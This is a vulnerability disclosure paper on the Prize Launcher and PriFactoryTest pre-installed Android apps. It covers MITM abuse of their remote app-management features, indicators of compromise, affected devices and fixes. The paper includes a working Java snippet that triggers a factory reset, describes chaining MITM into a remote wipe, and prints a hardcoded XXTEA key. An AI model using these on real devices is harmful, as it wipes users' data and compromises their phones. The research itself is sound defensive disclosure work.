Quokka

TECHNICAL PAPER

A Prize No One Wants

Unpacking the Hidden Capabilities of the Prize Launcher Pre-installed Android App

Abstract

We discovered a pre-installed app on various Android smartphones performing network communications to manage a remotely-controllable suite of capabilities, including installing and uninstalling applications as well as downloading and executing Dalvik Executable (DEX) code, all in the background without explicit user approval. A subset of these capabilities can be exploited through network-based attacks due to the app's use of an insecure, open-source Java library named *xUtils3*. We present an analysis of the *Prize Launcher* pre-installed Android app as a motivating example to highlight the potential impact of software that utilizes custom implementations of network security components, resulting in insecure communications. This research was originally performed during April 2025.

The Prize Launcher app's remotely-controlled capability suite resides within a pre-installed default "launcher" app that has been modified from Android's open-source version to execute with "`system`" privileges on various Android smartphones. Due to the lack of the validation of received SSL/TLS certificates, adversaries can abuse the functionality via DNS spoofing and Man-in-the-Middle (MITM) attacks to remotely perform unauthorized app management features such as installing arbitrary apps, uninstalling arbitrary apps, setting apps as widgets (triggering app execution), and more.

The Prize Launcher pre-installed launcher app, with a package name of "`com.android.launcher3`", makes network requests every four hours to check for app management actions to perform as well as checking for DEX files, containing bytecode, to download and execute in its context with "`system`" privileges. While it is possible to perform a MITM attack on some of these HTTPS connections, the DEX file execution functionality checks for a Digital Signature Algorithm (DSA) signature created by a specific DSA private key at the beginning of the downloaded DEX files, so it cannot be taken advantage of in the same way that the app management actions can be.

Other potential attack scenarios include remote adversaries uninstalling popular apps and installing repackaged versions of the same apps with malicious components, remotely installing an app to exploit local privilege escalation vulnerabilities on co-located software, or remotely uninstalling apps that provide security checks. Lastly, due to an additional pre-installed app from the same suspected developer, *Prize*, that is also present on all of the Android devices that also have the vulnerable Prize Launcher app, attackers can remotely wipe the device by abusing the Prize Launcher app management features to remotely install an app, start the app by setting it as a widget, and have it send a message to start a service of a pre-installed factory/engineering app, with a package name of "`com.pri.factorytest`", to programmatically initiate a *factory reset* operation, deleting the user's apps, settings, and data.

Quokka

Table of Contents

1. Introduction

The Android Open Source Project (AOSP) provides a "launcher" that serves as the primary interface for the user to start other apps (typically referred to as the device's "home screen"). The AOSP launcher is itself an app with a package name of "`com.android.launcher3`" and can be modified by Android vendors as it is open source.[1] "Android vendors" in this context are companies that sell Android devices, which may be the Original Equipment Manufacturer (OEM) or another company that rebrands the device. An Original Design Manufacturer (ODM) utilized by such vendors, *Prize*, appears to have modified the "`com.android.launcher3`" app by adding extraneous and potentially unwanted functionality that is not present in the AOSP version of the app (*see Section 4:* "*Source Attribution*").

This modified launcher app was included in production software builds from different Android vendors (*see Section 2.3: "Impacted Devices"*), with BLU, Gigaset, and Doogee being the vendors that we confirmed to have at least one vulnerable smartphone model. Another vendor named Lava has a smartphone model (i.e., Agni 2 5G) that contains the same vulnerable modified launcher app, although it is currently inactive due to a value of a system property that is checked when the smartphone starts (*see Section 2.4: "PriLauncher App Versions"*). After performing responsible disclosure by providing the vendors adequate time to address issues, the vendors patched the vulnerable modified launcher on all of the impacted devices we observed (*see Section 2.3: Impacted Devices*) using a system update except for the Gigaset GX4 Pro device.

The modified launcher app uses the same package name, "`com.android.launcher3`", as the progenitor from the AOSP codebase. On first glance, a user might assume it is similar (if not identical) to the AOSP version due to the package name, but that would be an incorrect assumption. We subsequently refer to the modified launcher app as the "`PriLauncher`" app, seemingly short for *Prize Launcher*, where this app either has a file name of "`PriLauncher.apk`" or "`PriLauncher3QuickStep.apk`" on the Android devices and firmware images we examined. We make this distinction since the extraneous functionality we cover throughout this analysis resides exclusively within the developer's modifications to the launcher app and not within AOSP code. The AOSP code serves as the substrate onto which the vendor modifications were added.

The modifications made to the "`PriLauncher`" app allow an external company, presumably Prize, to remotely perform app management features to control the set of third-party apps (i.e., the apps that are not pre-installed by the Android vendor) on certain Android devices as well as execute arbitrary Davlik Executable (DEX) files in its privileged context. A DEX file contains bytecode and can be both loaded and executed at runtime. The app management features can be commandeered using Man-in-the-Middle (MITM) attacks due to the "`PriLauncher`" app's use of the insecure *xUtils3* library. The xUtils3 library facilitates HTTP(S) network communication and by default performs no validation of the received SSL/TLS certificates for HTTPS connections. This vulnerability undermines the security of a key network protocol and can have significant consequences for end-users' security and privacy. The list of projects on GitHub that use the xUtils3 library is provided as a footnote, although each project would need to be individually examined to determine if they have changed the xUtils3 source code to *not* use an insecure trust manager by default that accepts all SSL/TLS certificates.[2] According to the *Fork.ai* platform, there are at least 2,000 apps using the xUtils3 library on Google Play, although only 726 of them are currently active.[3]

We did not further examine other software projects that use the xUtils3 library, although each project is a candidate for additional research due to the significant risk introduced by utilizing the library for networking. The exact impact to the other software projects depends on what the library is used for and the sensitivity of the data handled through its use. In our analysis of the "`PriLauncher`" app, we discovered that although the xUtils3 library is used for the

[1] https://android.googlesource.com/platform/packages/apps/Launcher3/+/master/
[2] https://github.com/search?q=org.xutils.http.app.DefaultParamsBuilder&type=code&p=1
[3] https://fork.ai/technologies/function-component/xutils3

network communications for the app management features, the app does not use it for the network communications where it requests DEX files to download, load, and execute. Although the DEX file associated network communications can be made to use an unintended URL prefix where the protocol can be downgraded to HTTP (specifically when performing a MITM attack on the "`https://unity.hwprize.com/unity/project/rs/launcherServer`" URL for which the app accepts all SSL/TLS certificates), the "`PriLauncher`" app requires the downloaded DEX files to contain a signature that is created by a specific Digital Signature Algorithm (DSA) private key prior to dynamically loading and executing it with "`system`" privileges.

The primary actions for the app management features supported by the "`PriLauncher`" app are "`install`", "`uninstall`", "`anyhow-install`", "`update-silent`", "`reddot-open`", "`icon-title-replace`", "`shortcut-put`", "`corner-mark`", and "`widget-put`". The "`PriLauncher`" app performs these actions without user interaction or awareness. These capabilities included in the "`PriLauncher`" app are a similar but insecure parallel to Digital Turbine's Ignite Services, which can also remotely install an app on an Android device without direct user approval.[4] The "`PriLauncher`" app's inconsistent use of both secure and insecure networking libraries, extending the default launcher with extraneous capabilities (instead of putting them in a separate app), and its ability to download and execute arbitrary DEX files with "`system`" privileges every four hours is a concerning combination of capabilities with the potential for exposing users with affected devices to significant risk.

We confirmed that external parties could attack the insecure network communications to abuse the app management capabilities for malicious purposes by utilizing "`mitmproxy`" addons written in Python.[5] We verified this through analysis of stock Android devices, on which we *did not* install the "`mitmproxy`" root Certificate Authority (CA). The "`mitmproxy`" root CA, which is often required to enable MITM attacks, does not need to be installed on the devices since the "`PriLauncher`" app does not ensure that there is a chain of trust from the received SSL/TLS certificate to a root CA on the device for many of the network connections it makes. We set a network proxy through the Settings app, which is a common and platform-supported method to set a network proxy, to a running instance of "`mitmproxy`" on the local network that ran addons to inject network responses. No further modifications were made to the Android devices under test.

To summarize, we identified two major vulnerabilities associated with the "`PriLauncher`" app. Table 1 lists these vulnerabilities, and Section 2 details our investigation into these vulnerabilities. Additionally, Table 1 provides a collection of various findings from scanning the Prize Launcher app with Quokka's automated app analysis platform, *Q-mast*.[6]

Vulnerability	Description
Remote App Management (CVE-2025-58398)	Network communications vulnerable to MITM attacks due to the use of an insecure trust manager that exposes the ability to install or uninstall arbitrary apps in addition to other app management functions.
Factory Reset (CVE-2025-58399)	Local third-party apps, even those with zero-permissions, can trigger a factory reset operation on the device. In addition, by leveraging the *Remote App Management* vulnerability, this issue is expanded by allowing an attacker to remotely trigger the factory reset operation.
Inclusion of Libraries Containing Known	Both observed versions of the "`PriLauncher`" app contain outdated libraries with known vulnerabilities, including "High" risk vulnerabilities CVE-2021-

[4] https://developer.digitalturbine.com/hc/en-us/articles/8342605844765-Install-App-by-Package-Name
[5] https://docs.mitmproxy.org/stable/addons-overview/
[6] https://www.quokka.io/products/q-mast

Vulnerabilities	22569, CVE-2021-22570, CVE-2022-3509, CVE-2022-3510, and CVE-2024-7254, and a "Medium" risk vulnerability CVE-2022-3171.
Allows Cleartext HTTP Traffic	Both observed versions of the "`PriLauncher`" app contain code site(s) indicating the permitted use of HTTP. HTTP is inherently insecure as it provides no confidentiality, integrity, or authenticity guarantees.
Contains Hardcoded Cryptographic Initialization Vectors (IVs)	Both observed versions of the "`PriLauncher`" app contain code site(s) indicating the use of hardcoded cryptographic IVs. By not using secure random IVs generated at runtime, the security posture of sensitive data is weakened and encrypted data is more vulnerable to exposure.
Allows Backup	Both observed versions of the "`PriLauncher`" app contain settings that allow their private app files to be externally backed up and restored with USB access, causing a potential loss of confidentiality and integrity. There is a backup policy which specifies a subset of files to be backed up.
SQL Injection	Both observed versions of the "`PriLauncher`" app contain code site(s) indicating it is vulnerable to SQL injection attacks, where unsanitized user input is executed in an SQL statement.
Improperly Configured File Provider	Both observed versions of the "`PriLauncher`" app contain one or more file provider(s) that use the broadest scope available (i.e., "`<root-path>`") from which to provide files. This is insecure and its use is discouraged since it unnecessarily exposes various files on the system that the "`PriLauncher`" app can access. This is particularly relevant since the "`PriLauncher`" app executes with "`system`" privileges, which exposes files on external storage and private files of other apps that also execute with "`system`" privileges.
Path Traversal	The "`PriLauncher`" app (ver. 14.0.240810) contains a code site indicating use of external input used for a file deletion operation. Improperly protecting File I/O operations as identified here may result in the loss of user data.

Table 1. Summary of various issues we discovered in *Prize* apps.

A summary of indicators that the vulnerable "`PriLauncher`" app is present on a given device with respect to the Remote App Management vulnerability is presented below in Table 2. A more thorough description of these indicators is provided in Appendix A.

Indicator of Risk	Description
"`ro.odm.prize_push_app_widget`" System Property	For Android 14 devices, the "`ro.odm.prize_push_app_widget`" system property needs to have a value of "`yes`" for the vulnerable functionality to be active.
"`ro.odm.operator_disable`" System Property	For Android 13 devices, the "`ro.odm.operator_disable`" system property needs a value of "`no`" for the vulnerable functionality to be active.
"`com.android.launcher3:remote`" Process	The presence of the "`com.android.launcher3:remote`" process is necessary for the remotely-controllable suite of app management capabilities.
Applicable DNS Requests	Passively captured network traffic can be examined for DNS requests for the typical domains that the app uses, such as "`unity.hwprize.com`",

	"gatewaysg.hwprize.com", "gatewayus.hwprize.com", and "gatewayeu.hwprize.com".
"/sdcard/doCommon/download" Directory Presence	The "/sdcard/doCommon/download" directory is used by the "PriLauncher" app as a destination for downloaded apps prior to their programmatic installation.
"PriLauncher" APK Paths	The presence of "PriLauncher3QuickStep" or "PriLauncher" in the path of the APK for the "com.android.launcher3" package name is also indicative that a non-standard launcher is being used. Two example paths are provided in Appendix A.

Table 2. Indicators of a Potentially Vulnerable "PriLauncher" app.

2. Vulnerabilities in the "PriLauncher" App

This section details the various vulnerabilities we identified in the "PriLauncher" pre-installed app. The first vulnerability discussed is the suite of *Remote App Management* capabilities that is exploitable due to the use of an insecure trust manager. We also note the presence of DEX file operations channel, also utilizing an insecure trust manager, which may be a future source of exploitation. The second vulnerability described here is the remote *Factory Reset* operation which can be exploited separately by any non-privileged app on the device or leveraged through exploiting the remote app management capabilities. We provide tables of identified devices confirmed to be impacted by these vulnerabilities, and finally a consolidation of different versions of the "PriLauncher" app identified across other devices.

2.1 Vulnerability: Remote App Management due to an Insecure Trust Manager

2.1.1 Description

Vendor modifications made to the "PriLauncher" pre-installed app allow remotely performed app management features to control the set of third-party apps on certain Android devices. The network connection(s) that control this functionality are vulnerable to MITM attacks due to the use of an insecure trust manager. This includes the capability to install apps, uninstall apps, set apps as widgets on a vulnerable device, and more.

In the process of examining the operation of the network communications and their resulting actions in the "PriLauncher" app, we further identified the capability to provide and execute arbitrary DEX files in the app's privileged context. We are unable to exploit this aspect of the "PriLauncher" app at this time due to lacking the private cryptographic key used to sign the DEX files ingested by the app.

2.1.2 Potential Impact

The primary actions for the app management features supported by the "PriLauncher" app are "install", "uninstall", "anyhow-install", "update-silent", "reddot-open", "icon-title-replace", "shortcut-put", "corner-mark", and "widget-put". The "PriLauncher" app performs these actions without user interaction or awareness. We have demonstrated that this functionality can be exploited to remotely install apps on the device, uninstall apps, and set apps as a widget, triggering execution of the apps introduced to the system.

The introduction and execution of unwanted apps on a user's system, or the removal of desired apps, is a major issue. While third-party apps are limited in their functionality due to Android's Permission Framework, they can still perform actions a user would consider undesirable, such as communicating with other apps present on the system or gathering information about the device. As a powerful example, we show in Section 2.2 that this exact scenario

can be leveraged to perform a factory reset of the device. Another example includes uninstalling an app known to be present on the device, and then replacing it with a malicious version unbeknownst to the user. This scenario also increases the likelihood that a user may unintentionally grant dangerous permissions to an unwanted malicious app.

A Common Vulnerabilities and Exposures (CVE) assignment has been reserved for this vulnerability (CVE-2025-58398), and although it lacks an official Common Vulnerability Scoring System (CVSS) score at the time of writing, we used the CVSS Version 4.0 Calculator to estimate the severity. We tentatively assigned this vulnerability a vector of CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N, resulting in a CVSS score of 6.3 (Medium). This is in part due to the attack being network-based, but with an initial outcome restricted to the minimal privileges of third-party apps that are granted automatically upon installation (i.e., permissions which don't need to be granted by a user).

2.1.3 Attack Vectors

We performed extensive network analysis and reverse engineering of the "`PriLauncher`" pre-installed app to determine how it uses various network communications to perform its remote app management functions. This analysis and the various functions exposed by these communications are described in detail in Section 3. Due to the use of an insecure trust manager, a subset of these communications are vulnerable to MITM attacks, allowing remote attackers to exploit the remote app management capabilities. We provide a thorough breakdown of our steps and necessary Proof-of-Concept (PoC) code to perform this exploitation in Appendices B and C.

2.1.4 Root Cause

The root cause that makes this vulnerability exploitable is the use of custom "`javax.net.ssl.X509TrustManager`" interface implementation from the *xUtils3* library that does not validate SSL/TLS certificates for certain HTTPS connections by default.[7] This is what allows a MITM attack to be performed successfully.

2.1.5 Resolution

To prevent remote attackers from providing self-signed SSL/TLS certificates and abusing the app management capabilities that are present in the "`PriLauncher`" pre-installed app, it should not use a custom, insecure "`javax.net.ssl.X509TrustManager`" implementation such as that provided by the xUtils3 library. By utilizing a secure interface implementation, MITM attacks will be unable to succeed and on-path attackers will be unable to exploit the device with this method.

2.2 Vulnerability: Factory Reset

2.2.1 Description

This section details a vulnerability we discovered in the "`PriFactoryTest`" pre-installed app with a package name of "`com.pri.factorytest`" which is present on each of the devices with the previously discussed "`PriLauncher`" app. The "`com.pri.factorytest/.emmc.FactoryResetService`" service component, which is explicitly exported by the "`PriFactoryTest`" app, can be used by co-located apps to programmatically initiate a factory reset operation that wipes the user's data, apps, and settings. A more thorough description of the "`PriFactoryTest`" app and our exploitation of this vulnerability is provided in Appendix D.

The "`com.pri.factorytest/.emmc.FactoryResetService`" service component, when started via an "`Intent`" object, independent of its contents, broadcasts the "`android.intent.action.FACTORY_RESET`" action in an "`Intent`" with various extras to the Android Framework (package name of "`android`") to programmatically initiate

[7] https://developer.android.com/reference/javax/net/ssl/X509TrustManager

a factory reset operation, although external storage and any eSIMs will not be erased based on the extras in the "`Intent`". Despite the "`android.intent.extra.WIPE_EXTERNAL_STORAGE`" extra being set to a value of "`false`", the contents of external storage (i.e., "`/sdcard`") was still erased during our testing. We did not test to determine if eSIMs were retained or deleted after a factory reset operation when exploiting this vulnerability.

2.2.2 Potential Impact

Programmatically initiating a *factory reset* operation will result in the deletion of the user's apps, settings, and data. Performing this operation without user consent or awareness can cause irreparable data loss of any user data that has not been backed up at the time of the reset. Even in the case where significant data loss does not occur, an unapproved factory reset can cause significant frustration and discontent for the impacted user.

A CVE assignment has been reserved for this vulnerability (CVE-2025-58399), and although it lacks an official CVSS score at the time of writing, we used the CVSS Version 4.0 Calculator to estimate the severity. We tentatively assigned this vulnerability a vector of CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N, resulting in a CVSS score of 5.9 (Medium). This is in part due to the "High" Impact to the Availability of the vulnerable system, but the requirement for the attack to be launched from a co-located app on the device.

2.2.3 Attack Vectors

Any app, regardless of how it is introduced to the system, is able to exploit this vulnerability simply by sending an "`Intent`" to start the "`com.pri.factorytest/.emmc.FactoryResetService`" service component in the pre-installed "`com.pri.factorytest`" app on affected devices. There are no restrictions on third-party, unprivileged apps from invoking the "`startService`" API method, and the complete lack of protection surrounding the exposed component make it trivial to perform the exploit.[8] The simple Java code snippet necessary to trigger the factory reset on an affected device is shown below (*Please execute the following code snippet with caution!*):

```
Intent intent = new Intent();
intent.setClassName("com.pri.factorytest", "com.pri.factorytest.emmc.FactoryResetService");
startService(intent);
```

This vulnerability can also be exploited as a combinatory attack with the preceding vulnerability described in Section 2.1. The remote app management capabilities in the "`PriLauncher`" pre-installed app can be exploited via a MITM attack to remotely install an app on the device and set it as a widget, triggering the necessary logic to activate the app so it can indirectly perform a factory reset on a vulnerable device.

2.2.4 Root Cause and Contributing Factors

The root cause of this vulnerability is the lack of protection on the "`com.pri.factorytest/.emmc.FactoryResetService`" service component contained in the pre-installed "`com.pri.factorytest`" app on affected devices. Locally exposing this component to external apps is insecure as it allows any co-located, third-party app to programmatically initiate a factory reset without any permission requirements or special privileges. An app must possess the "`android.permission.MASTER_CLEAR`" permission to perform this operation directly, which according to the official documentation is "*not for use by third-party applications.*"[9]

Beyond the root cause of the unprotected service component, the ability to perform this operation remotely is an additional contributing factor. By leveraging the vulnerabilities in the "`PriLauncher`" app, a remote adversary could

[8] https://developer.android.com/reference/android/content/Context#startService(android.content.Intent)
[9] https://android.googlesource.com/platform/frameworks/base/+/refs/tags/android-15.0.0_r1/core/res/AndroidManifest.xml#6512

use MITM attacks to remotely install an app, set the app as a widget (so that it executes), and then have the newly-installed app send an "`Intent`" to the "`com.pri.factorytest/.emmc.FactoryResetService`" service component to remotely wipe the device.

2.2.5 Resolution

By protecting the "`com.pri.factorytest/.emmc.FactoryResetService`" service component contained in the pre-installed "`com.pri.factorytest`" app, this vulnerability would not be exploitable by third-party apps. For example, restricting access to the service component with a permission requirement of "`android.permission.MASTER_CLEAR`" would sufficiently prevent third-party apps from accessing the functionality.

2.3 Impacted Devices

The Android devices that we have confirmed to be vulnerable by exploiting the "`PriLauncher`" app management capabilities, shown in Table 3, includes smartphones from BLU, Gigaset, and Doogee. Specifically, the vulnerable devices are the BLU Bold K50, BLU F5, BLU G84, Gigaset GX4 Pro, and Doogee DK10. A system update for all of the previously impacted smartphones (with the exception of the Gigaset GX4 Pro, which is still vulnerable) changed a system property on the device. As a result, the service component "`com.android.launcher3/com.pri.appcenter.service.RemoteService`", which is responsible for the extraneous functionality, does not execute. The BLU F5 and Doogee DK 10 devices still contain the "`PriLauncher`" app, and the the remotely-controllable suite of capabilities can be re-enabled if the "`ro.odm.prize_push_app_widget`" system property changes its value from "`no`" to "`yes`" in a subsequent system update for Android 14 devices. For Android 13 devices, the "`ro.odm.operator_disable`" system property can have its value changed from "`yes`" to "`no`" to re-enable the extraneous functionality of the "`PriLauncher`" app.

Vendor and Model	"PriLauncher" App Version	"PriLauncher" App SHA-256	Build Fingerprint	Build Date
BLU Bold K50	versionCode='1402400810', versionName='14.0.240810'	cdf1d41d732ba882184060933bec2c1f4b8eefc081c06471132a690f2205da31	BLU/BOLD_K50/K0130:14/UP1A.231005.007/1724655562:user/release-keys	Mon Aug 26 14:59:22 CST 2024
BLU G84	versionCode='1402400810', versionName='14.0.240810'	cdf1d41d732ba882184060933bec2c1f4b8eefc081c06471132a690f2205da31	BLU/G84/G1050:14/UP1A.231005.007/1724465159:user/release-keys	Sat Aug 24 10:05:59 CST 2024
BLU F5	versionCode='1402400810' versionName='14.0.240810'	cdf1d41d732ba882184060933bec2c1f4b8eefc081c06471132a690f2205da31	BLU/F5/F0090:14/UP1A.231005.007/1724261183:user/release-keys	Thu Aug 22 01:26:23 CST 2024
Gigaset GX4 Pro	versionCode='33', versionName='13'	0010001fae2a41185565d6ea7ff34ee13fd4c77d0fbd48c3e0c1213f0065f26f	Gigaset/GX4_PRO_EEA/GX4_PRO:13/TP1A.220624.014/1725360641:user/release-keys	Tue Sep 3 18:50:41 CST 2024
Doogee DK10	versionCode='33', versionName='13'	8949d6ca53de71ba717315721d32bf85c89335d539575414eb99534322dbdb00	DOOGEE/ZN138_EEA/ZN138:13/TP1A.220624.014/1710152463:user/release-keys	Mon Mar 11 18:21:03 CST 2024

Table 3. Smartphones containing a confirmed vulnerable version of the "PriLauncher" app.

Table 4 contains the list of devices that we have confirmed to contain vulnerable versions of the "PriFactoryTest" pre-installed app. This vulnerability allows local apps, even those with zero permissions, to programmatically initiate a factory reset. Note that all of the devices present in Table 3 are also present in Table 4, which details the devices with a vulnerable version of the "PriFactoryTest" app. Despite performing responsible disclosure, both the Doogee DK10 and Gigaset GX4 Pro devices are still vulnerable to an unauthorized factory reset operation. Neither of these devices have a system update available for them in order to patch the vulnerable "PriFactoryTest" app.

Vendor and Model	"PriFactoryTest" App Version	"PriFactoryTest" App SHA-256	Build Fingerprint	Build Date
BLU Bold K50	versionCode='141240102', versionName='14.1.240102'	d0921b8d03c3584fd5b0a7adf923150f2b97b0e2c7f7ec7c280c6a5dcce57dcb	BLU/BOLD_K50/K0130:14/UP1A.231005.007/1724655562:user/release-keys	Mon Aug 26 14:59:22 CST 2024
BLU Bold K10	versionCode='1', versionName='1.0'	0884b78b9cf389fd882316f7b4b0ce1741b6f5096e3a614c6f05f70eb600e3c4	BLU/BOLD_K10/K0110:13/TP1A.220624.014/1729327807:user/release-keys	Sat Oct 19 16:47:42 CST 2024
BLU G84	versionCode='141240102', versionName='14.1.240102'	2a2f69b376c985bf974b81f658c462a8a0f5ed847b4217bba5d11c172a785ec4	BLU/G84/G1050:14/UP1A.231005.007/1724465159:user/release-keys	Sat Aug 24 10:05:59 CST 2024
BLU F5	versionCode='141240102', versionName='14.1.240102'	05eea69a2caa7b567a8db77a2717bf46cf5c7e8f41385dea82208576580546b0	BLU/F5/F0090:14/UP1A.231005.007/1727682559:user/release-keys	Mon Sep 30 15:49:19 CST 2024
Gigaset GX4 Pro	versionCode='1', versionName='1.0'	f72b564f744e4a5549f4e6dfc2e1cc66178f93fdbf98d817c6accf74e1bac692	Gigaset/GX4_PRO_EEA/GX4_PRO:13/TP1A.220624.014/1725360641:user/release-keys	Tue Sep 3 18:50:41 CST 2024
Doogee DK10	versionCode='141240102', versionName='14.1.240102'	52f5932182f6977ebcb6b49786a49ae345ee513e66e34f424e640f52f38ca988	DOOGEE/ZN138_EEA/ZN138:14/UP1A.231005.007/1729240308:user/release-keys	Fri Oct 18 08:31:48 UTC 2024
Lava Agni 2 5G	versionCode='141240102', versionName='14.1.240102'	9963e60042bcef6caac82e85933e65572021a427834b07849f078150dc0128b2	LAVA/LXX504/LXX504:14/UP1A.231005.007/1728473262:user/release-keys	Wed Oct 9 19:27:42 CST 2024

Table 4. Devices that were vulnerable to a local factory reset vulnerability due to a vulnerable pre-installed "PriFactoryTest" app.

2.4 "PriLauncher" App Versions

We statically examined various "PriLauncher" apps from other Android vendors that may also contain the vulnerability. We examined the *Android Dumps* website for various Android firmware images that contain an app

with a file name of "PriLauncher.apk" or "PriLauncher3QuickStep.apk".[10] Android Dumps provides various Android firmware images from an extensive range of vendors and models. The "PriLauncher.apk" starts appearing on devices running Android 11. While we did not perform an extensive analysis on the "PriLauncher" app that was present on devices running Android 11 and Android 12, it appears that the remotely-controllable suite of capabilities were introduced in devices running Android 13 and have persisted into Android 14. We have not yet observed the "PriLauncher" on an Android 15 device.

We manually examined various versions of the "PriLauncher" app to determine if they had the expected artifacts for use of the xUtils3 insecure library, indicating that the would *likely* be vulnerable MITM attacks, and whether they contained the URLs (e.g., "https://gatewaysg.hwprize.com/pull/api/planlist") needed to perform remote app installation and app uninstallation. Based on the Android Dumps dataset, the vendors that have had a pre-installed version of the "PriLauncher" app at any point (even an older version that may not have been a vulnerable version of the app) are: BLU, Gigaset, General Mobile, Koobee, Lava, Omix, and Ulefone.

Table 5 contains the devices that contain a pre-installed "PriLauncher" app showing its version information, whether or not it uses the xUtils3 insecure library, whether or not is contained the URLs for app management, and the URL to the app on the Android Dumps website. Note that whether the remotely-controllable suite of capabilities is active depends on the value of either the "ro.odm.prize_push_app_widget" system property (Android 14) or the "ro.odm.operator_disable" system property (Android 13).

Device Vendor and Model	"PriLauncher" App Version	Uses insecure xUtils3 Library	Contains URLs for App Management	"PriLauncher" App URL
BLU Bold N2 (N0050UU)	versionCode='30', versionName='11'	Yes	No	https://dumps.tadiphone.dev/dumps/blu/n0050uu/-/tree/full_k6833v1_64-user-11-RP1A.200720.011-1679057996-release-keys/system/system/system_ext/priv-app/PriLauncher?ref_type=heads
Gigaset GS5	versionCode='33', versionName='13'	Yes	Yes	https://dumps.tadiphone.dev/dumps/gigaset/gs5/-/tree/GS5-user-13-TP1A.220624.014-1693463242-release-keys/system/system/system_ext/priv-app/PriLauncher?ref_type=heads
General Mobile GM 20 Pri (G501)	versionCode='30', versionName='11'	Yes	No	https://dumps.tadiphone.dev/dumps/gm/g501/-/tree/full_k71v1_64_bsp-user-11-RP1A.200720.011-1636518238-release-keys/system/system/system_ext/priv-app/PriLauncher?ref_type=heads
Koobee K100 (SL1004T)	versionCode='31', versionName='12'	Yes	No	https://dumps.tadiphone.dev/dumps/koobee/sl004t/-/tree/sys_mssi_32_ago_ww-user-12-SP1A.210812.016-1669984765-release-keys/system/system/system_ext/priv-app/PriLauncher?ref_type=heads
Lava Agni 5G (LXX501)	versionCode='30', versionName='11'	Yes	No	https://dumps.tadiphone.dev/dumps/lava/lxx501/-/tree/full_k6833v1_64-user-11-RP1A.200720.011-1661159587-release-keys/system/system/system_ext/

[10] https://dumps.tadiphone.dev/dumps

				priv-app/PriLauncher?ref_type=heads
Lava Blaze 5G (LXX503)	versionCode='31', versionName='12'	Yes	No	https://github.com/Dump-Rom/lava_lxx503_dump/blob/LXX503-user-12-SP1A.210812.016-1669458002-release-keys/system/system/system_ext/priv-app/PriLauncher/PriLauncher.apk
Lava Blaze 5G (LXX503)	versionCode='33', versionName='13'	Yes	Yes	https://dumps.tadiphone.dev/dumps/lava/lxx503/-/tree/LXX503-user-13-TP1A.220624.014-1706944073-release-keys/system/system/system_ext/priv-app/PriLauncher?ref_type=heads
Lava Blaze NXT (LZX407)	versionCode='33', versionName='13'	Yes	Yes	https://dumps.tadiphone.dev/dumps/lava/lzx407/-/tree/LZX407-user-13-TP1A.220624.014-1703567632-release-keys/system/system/system_ext/priv-app/PriLauncher?ref_type=heads
Omix X500	versionCode='30', versionName='11'	Yes	No	https://dumps.tadiphone.dev/dumps/omix/x500/-/tree/full_k69v1_64-user-11-RP1A.200720.011-1640161050-release-keys/system/system/system_ext/priv-app/PriLauncher?ref_type=heads
Ulefone Power Armor 13	versionCode='30', versionName='11'	Yes	No	https://dumps.tadiphone.dev/dumps/ulefone/power_armor_13/-/tree/full_k85v1_64-user-11-RP1A.200720.011-1626784999-release-keys/system/system/system_ext/priv-app/PriLauncher?ref_type=heads
Ulefone Armor 10 5G	versionCode='30', versionName='11'	Yes	No	https://dumps.tadiphone.dev/dumps/ulefone/armor_10_5g/-/tree/full_k6873v1_64-user-11-RP1A.200720.011-1641790547-release-keys/system/system/system_ext/priv-app/PriLauncher?ref_type=heads

Table 5. Software builds from various Android smartphones where the "PriLauncher" app version was statically examined for the presence of the xUtils3 library and app management URLs.

3. Network Communication Workflow and Analysis

This section provides an overview of the various network requests and responses observed in relation to the "PriLauncher" app throughout our analysis.

3.1 Enabling the Debug Log

In order to grasp the inner workings of the "PriLauncher" app, a combination of static and dynamic techniques were employed. During dynamic analysis and the testing of any software, logging performed by an app itself can provide excellent insights such as the code sites that are reached, network communications, data manipulation, and error handling. The default amount of logging performed by the "PriLauncher" app is rather minimal. A critically helpful step in reverse engineering the "PriLauncher" app relied on enabling a verbose logging switch within the app itself. The "PriLauncher" app checks for the existence of a file at a path of

"/sdcard/debug.hs.log.enabled" when the app starts executing after the device boots. If this file exists, then it enables verbose logging internally in the app, providing an invaluable look at the events happening within the "PriLauncher" app. This file can be created using the "adb shell touch /sdcard/debug.hs.log.enabled" Android Debug Bridge (ADB) command. The device needs to be rebooted (or the two processes belonging to the "PriLauncher" app killed) to start observing the verbose logging messages.

3.2 Analysis of the Prize Launcher Infrastructure and Network Communications

For most of the HTTPS requests to the Prize Launcher app's network infrastructure, a header named "params" is included in the requests sent by the "PriLauncher" app. The "params" header value is encrypted using the XXTEA cipher with a hard-coded key of "sdfsdfi23eswrfj5d521dsf@@#!!%$@.1".[11] The decryption routine for the "params" header is provided below.

```
String params_header =
"z4CWCvtPr6ktJsslAJq0pMCmyW5jIlM17ab1lYZa9PnoR41nyfhMfx90eHcC0JewCikgeQbYgFUWQMwfK4Q%2B8%2BUw%2FbYvUNVmpkkB4ooLlfQMjWM
%2FnvUzyCk3W26vtn4xyqTZc4lUGjTopOg8AWwNsY8Gi2o3PPPrt68tQufCUY1FFMThe2FnwESB7xHWz6ohO3Xgm0OjSJmIEMG3yd0aXnnG3radcAWdXNM
hgZvDz3qjH1aw3Oj1zfIBtJMCVfBFQ9xYJtcVqlDBUD8XU7KlVdtKDmnZoONFnsbgSWqVGIBMZF2COVKQU%2FQJQ1CkidoprIhnRc%2F5PLPWtKMrpbHVm
39G41w05ldQ7hyi2AoeKzyAntlfhiIkFVOCwJ%2BeJX65rQv53Gnfq8I2tPwnFTv8%2BhXOsGflqPgvxTVPAoB9aP4CQry8Bqmo16MvH3j8LmrFbnIs01N
NVh6njgER4vhpy3XsvdpHvJpzjHy75y6w603QakdhJozTQBmwITrkM6lmMh7allCTie%2FVgWvhVwyKmz8mnay1e3K0KmltiKwaoYtzhizMyMlNhDb3Cy9
PW%2BQcCui47ITwuLWMXJ9NJJ1y83IRCh9Sy%2FNnshbA6Zoneo0NOi%2BjrMLK9hHjaSqwhd4OkGs5ClRvs2ltHWdsa4egPuAISWFaScGcSMmuX0bGACC
Cy6hl2LPj1TvhCugFu7f7LMbUI34kGvw5krz1EW9Q1GcvG0D6FKxunx5%2BRBI6AJGrTzCH8K5nXHZTk1x396mgY15qV6zkKXTK%2B4sO7rWw4%2BO7XZN
